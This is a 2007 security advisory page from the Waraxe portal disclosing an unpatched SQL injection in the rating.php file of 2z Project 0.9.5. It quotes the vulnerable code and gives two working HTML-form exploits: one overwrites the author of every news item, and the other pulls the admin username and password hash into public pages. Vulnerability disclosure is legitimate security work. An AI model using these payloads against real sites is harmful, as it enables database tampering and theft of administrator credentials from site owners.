Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
December 1, 2015
 Members List
 IRC chat
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 Sql Char Encoder
 y3dips ITsec
 Md5 Cracker
 User Manuals
 Recommend Us
 Your Account

User Info
Welcome, Anonymous

Latest: tahamtan
New Today: 0
New Yesterday: 0
Overall: 9011

People Online:
Visitors: 214
Members: 1
Total: 215

Online Now:
01: kolaz - Homepage
PacketStorm News
·Mandriva Linux Security Advisory 2015-027
·Debian Security Advisory 3129-1
·Mandriva Linux Security Advisory 2015-025
·Mandriva Linux Security Advisory 2015-026
·Mandriva Linux Security Advisory 2015-024
·Mandriva Linux Security Advisory 2015-023
·Debian Security Advisory 3128-1
·FreeBSD Security Advisory - OpenSSL Updates
·Ubuntu Security Notice USN-2475-1
·Ubuntu Security Notice USN-2474-1

[waraxe-2007-SA#051] - Sql Injection in 2z Project 0.9.5

Author: Janek Vind "waraxe"
Date: 23. May 2007
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-51.html

Target software description:

Vulnerable: 2z Project 0.9.5
Patched: not yet :)



1. Critical sql injection in "rating.php"

Let's start with peeking @ source code of "2z/includes/rating.php":

------------------[source code]----------------------
if ($_POST['rating']) {
@include_once "../core.php";
@header('Content-type: text/html; charset='.$lang['encoding']);
LoadLang("news", "site");
if (!$_COOKIE['rating'.$row['id']]) {
if (!$rating) {
else {
@setcookie('rating'.$post_id, 'voted', (time() + 31526000), '/');
$mysql->query("UPDATE ".prefix."_news SET rating=rating+".$rating.",
votes=votes+1 WHERE id = '".$post_id."'");
------------------[/source code]----------------------

As we can track back - the $_POST['rating'] parameter will be used in
mysql "UPDATE" query without any sanitize at all! This seems to be
classical "sql injection in update query" case ...

So let's have fun and try some PoC:

------------------[PoC test]-----------------------
------------------[/PoC test]----------------------

Result: "Error! Bad query!"

What is important for this test to succeed, is that url to specific news
item must be valid. And then just add "?rating=xxx" or "&rating=xxx"
to url end and you will get error message, if target website is not patched.

So what are practical exploiting possibilities in this case?

1. Attacker can modify arbitrary news content on website.

This little piece of html code will change news author name to "1337"
for ALL news items at the same time!

------------------[real-life exploit]-----------------------
<form action="http://localhost/2zcms/?category=none&altname=testnews" method="post">
<input type="hidden" name="rating" value="1,author=1337/*">
<input type="submit" value="Test!">
------------------[/real-life exploit]----------------------

2. Attacker can steal any data from mysql database.

Exploit below will expose admins username and passwords double md5 hash
in "author" field for all news items on website. So if attacker wants
to be more sneaky, then sql query must be limited to update only one news item.
How? Well, that's too easy, so I will not tell it here ;)

------------------[real-life exploit]-----------------------
<form action="http://localhost/2zcms/?category=none&altname=testnews" method="post">
<input type="hidden" name="rating" value="1,author=
(SELECT CONCAT(name,0x5e,pass)FROM 2z_users WHERE id=1)/*">
<input type="submit" value="Test!">
------------------[/real-life exploit]----------------------

There is one important mitigating factor for this exploit to succeed:
mysql daemon must have version >= 4.1 with sub queries functionality.

//-----> See ya soon and have a nice day ;) <-----//

How to fix:

Well, what can I suggest? Try to rush developers for releasing update


Greets to str0ke, ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, Chb,
shai-tan and all other people who know me!

Special greets goes to Raido Kerna.

Tervitusi Torufoorumi rahvale!


Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

Shameless advertise:

Shorter url for easy use - http://urlaxe.com/
Soon te be released sql injection tool - http://sqlaxe.com/

Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2007-05-23 (8682 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2407
vince213333  vince213333 - 736
pexli  pexli - 665
Mullog  Mullog - 539
demon  demon - 485
shai-tan  shai-tan - 477
Cyko  Cyko - 375
tsabitah  tsabitah - 328
y3dips  y3dips - 281
·Vuln: Microsoft Windows CVE-2015-0002 Local Privilege Escalation Vulnerability
·Vuln: Adobe Flash Player and AIR CVE-2015-0306 Unspecified Memory Corruption Vulnerability
·Vuln: Adobe Flash Player and AIR CVE-2015-0308 Use After Free Remote Code Execution Vulnerability
·Vuln: Adobe Flash Player and AIR CVE-2015-0301 Unspecified Security Vulnerability
·Bugtraq: [ MDVSA-2015:027 ] kernel
·Bugtraq: Facebook Bug Bounty #19 - Filter Bypass Web Vulnerability
·Bugtraq: File Pro Mini v5.2 iOS - Multiple Web Vulnerabilities
·Bugtraq: WiFi File Browser Pro v2.0.8 - Code Execution Vulnerability
·More rss feeds from SecurityFocus


It book reviews
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.077 Seconds